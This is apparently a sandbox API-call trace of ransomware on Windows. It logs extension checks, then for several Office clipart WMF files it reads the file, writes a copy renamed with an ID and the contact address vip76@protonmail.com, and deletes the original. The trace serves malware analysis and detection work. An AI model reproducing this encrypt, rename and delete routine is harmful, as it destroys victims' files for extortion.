	[0203.510] lstrlenW (lpString=".zip") returned 4
	[0203.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.510] lstrlenW (lpString=".rar") returned 4
	[0203.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.510] lstrlenW (lpString=".bz2") returned 4
	[0203.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.510] lstrlenW (lpString=".7z") returned 3
	[0203.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0203.510] lstrlenW (lpString=".dbf") returned 4
	[0203.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0203.510] lstrlenW (lpString=".1cd") returned 4
	[0203.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0203.510] lstrlenW (lpString=".jpg") returned 4
	[0203.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0203.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0203.511] lstrlenW (lpString=".doc") returned 4
	[0203.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.511] lstrlenW (lpString=".docx") returned 5
	[0203.511] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0203.511] lstrlenW (lpString=".pdf") returned 4
	[0203.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.511] lstrlenW (lpString=".xls") returned 4
	[0203.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.511] lstrlenW (lpString=".xlsx") returned 5
	[0203.511] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0203.511] lstrlenW (lpString=".ppt") returned 4
	[0203.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0203.511] lstrlenW (lpString=".zip") returned 4
	[0203.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.511] lstrlenW (lpString=".rar") returned 4
	[0203.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.511] lstrlenW (lpString=".bz2") returned 4
	[0203.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.511] lstrlenW (lpString=".7z") returned 3
	[0203.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0203.511] lstrlenW (lpString=".dbf") returned 4
	[0203.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0203.511] lstrlenW (lpString=".1cd") returned 4
	[0203.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0203.511] lstrlenW (lpString=".jpg") returned 4
	[0203.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.512] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0203.512] lstrlenW (lpString="J0152688.WMF") returned 12
	[0203.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0203.513] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=34676) returned 1
	[0203.513] CloseHandle (hObject=0x460) returned 1
	[0203.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf")) returned 0x220
	[0203.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0203.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0203.514] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.514] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0203.515] GetLastError () returned 0x0
	[0203.515] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x8774, lpOverlapped=0x0) returned 1
	[0203.518] WriteFile (in: hFile=0x594, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x8780, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x8780, lpOverlapped=0x0) returned 1
	[0203.519] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0203.519] WriteFile (in: hFile=0x594, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0203.519] SetEndOfFile (hFile=0x594) returned 1
	[0203.519] CloseHandle (hObject=0x594) returned 1
	[0203.519] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.519] SetEndOfFile (hFile=0x460) returned 1
	[0203.522] CloseHandle (hObject=0x460) returned 1
	[0203.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0203.523] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf")) returned 1
	[0203.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0203.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0203.524] lstrlenW (lpString=".doc") returned 4
	[0203.524] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.524] lstrlenW (lpString=".docx") returned 5
	[0203.524] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0203.524] lstrlenW (lpString=".pdf") returned 4
	[0203.524] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.524] lstrlenW (lpString=".xls") returned 4
	[0203.524] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.524] lstrlenW (lpString=".xlsx") returned 5
	[0203.524] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0203.524] lstrlenW (lpString=".ppt") returned 4
	[0203.524] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0203.524] lstrlenW (lpString=".zip") returned 4
	[0203.524] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.524] lstrlenW (lpString=".rar") returned 4
	[0203.524] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.524] lstrlenW (lpString=".bz2") returned 4
	[0203.524] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.524] lstrlenW (lpString=".7z") returned 3
	[0203.524] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0203.524] lstrlenW (lpString=".dbf") returned 4
	[0203.524] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0203.524] lstrlenW (lpString=".1cd") returned 4
	[0203.524] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0203.524] lstrlenW (lpString=".jpg") returned 4
	[0203.525] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0203.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0203.525] lstrlenW (lpString=".doc") returned 4
	[0203.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.525] lstrlenW (lpString=".docx") returned 5
	[0203.525] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0203.525] lstrlenW (lpString=".pdf") returned 4
	[0203.525] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.525] lstrlenW (lpString=".xls") returned 4
	[0203.525] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.525] lstrlenW (lpString=".xlsx") returned 5
	[0203.525] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0203.525] lstrlenW (lpString=".ppt") returned 4
	[0203.525] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0203.525] lstrlenW (lpString=".zip") returned 4
	[0203.525] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.525] lstrlenW (lpString=".rar") returned 4
	[0203.525] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.525] lstrlenW (lpString=".bz2") returned 4
	[0203.525] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.525] lstrlenW (lpString=".7z") returned 3
	[0203.525] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0203.525] lstrlenW (lpString=".dbf") returned 4
	[0203.525] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0203.525] lstrlenW (lpString=".1cd") returned 4
	[0203.525] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0203.526] lstrlenW (lpString=".jpg") returned 4
	[0203.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.526] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0203.526] lstrlenW (lpString="J0152690.WMF") returned 12
	[0203.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0203.610] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=1268) returned 1
	[0203.610] CloseHandle (hObject=0x5e8) returned 1
	[0203.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf")) returned 0x220
	[0203.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0203.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0203.612] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.612] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0203.613] GetLastError () returned 0x0
	[0203.613] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x4f4, lpOverlapped=0x0) returned 1
	[0203.615] WriteFile (in: hFile=0x460, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x500, lpOverlapped=0x0) returned 1
	[0203.616] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0203.616] WriteFile (in: hFile=0x460, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0203.616] SetEndOfFile (hFile=0x460) returned 1
	[0203.616] CloseHandle (hObject=0x460) returned 1
	[0203.617] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.617] SetEndOfFile (hFile=0x5e8) returned 1
	[0203.622] CloseHandle (hObject=0x5e8) returned 1
	[0203.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0203.622] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf")) returned 1
	[0203.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0203.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0203.624] lstrlenW (lpString=".doc") returned 4
	[0203.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.624] lstrlenW (lpString=".docx") returned 5
	[0203.624] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0203.624] lstrlenW (lpString=".pdf") returned 4
	[0203.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.624] lstrlenW (lpString=".xls") returned 4
	[0203.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.624] lstrlenW (lpString=".xlsx") returned 5
	[0203.624] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0203.624] lstrlenW (lpString=".ppt") returned 4
	[0203.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0203.624] lstrlenW (lpString=".zip") returned 4
	[0203.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.624] lstrlenW (lpString=".rar") returned 4
	[0203.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.624] lstrlenW (lpString=".bz2") returned 4
	[0203.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.624] lstrlenW (lpString=".7z") returned 3
	[0203.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0203.624] lstrlenW (lpString=".dbf") returned 4
	[0203.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0203.624] lstrlenW (lpString=".1cd") returned 4
	[0203.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0203.625] lstrlenW (lpString=".jpg") returned 4
	[0203.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0203.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0203.625] lstrlenW (lpString=".doc") returned 4
	[0203.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.625] lstrlenW (lpString=".docx") returned 5
	[0203.625] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0203.625] lstrlenW (lpString=".pdf") returned 4
	[0203.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.625] lstrlenW (lpString=".xls") returned 4
	[0203.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.625] lstrlenW (lpString=".xlsx") returned 5
	[0203.625] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0203.625] lstrlenW (lpString=".ppt") returned 4
	[0203.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0203.625] lstrlenW (lpString=".zip") returned 4
	[0203.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.625] lstrlenW (lpString=".rar") returned 4
	[0203.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.625] lstrlenW (lpString=".bz2") returned 4
	[0203.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.625] lstrlenW (lpString=".7z") returned 3
	[0203.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0203.625] lstrlenW (lpString=".dbf") returned 4
	[0203.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0203.625] lstrlenW (lpString=".1cd") returned 4
	[0203.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0203.626] lstrlenW (lpString=".jpg") returned 4
	[0203.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.626] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0203.626] lstrlenW (lpString="J0152696.WMF") returned 12
	[0203.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0203.628] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=7320) returned 1
	[0203.628] CloseHandle (hObject=0x5e8) returned 1
	[0203.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf")) returned 0x220
	[0203.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0203.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0203.629] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.629] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0203.630] GetLastError () returned 0x0
	[0203.630] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x1c98, lpOverlapped=0x0) returned 1
	[0203.632] WriteFile (in: hFile=0x460, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x1ca0, lpOverlapped=0x0) returned 1
	[0203.633] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0203.633] WriteFile (in: hFile=0x460, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0203.633] SetEndOfFile (hFile=0x460) returned 1
	[0203.633] CloseHandle (hObject=0x460) returned 1
	[0203.633] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.633] SetEndOfFile (hFile=0x5e8) returned 1
	[0203.635] CloseHandle (hObject=0x5e8) returned 1
	[0203.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0203.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf")) returned 1
	[0203.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0203.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0203.637] lstrlenW (lpString=".doc") returned 4
	[0203.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.637] lstrlenW (lpString=".docx") returned 5
	[0203.637] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0203.637] lstrlenW (lpString=".pdf") returned 4
	[0203.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.637] lstrlenW (lpString=".xls") returned 4
	[0203.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.637] lstrlenW (lpString=".xlsx") returned 5
	[0203.637] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0203.637] lstrlenW (lpString=".ppt") returned 4
	[0203.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0203.637] lstrlenW (lpString=".zip") returned 4
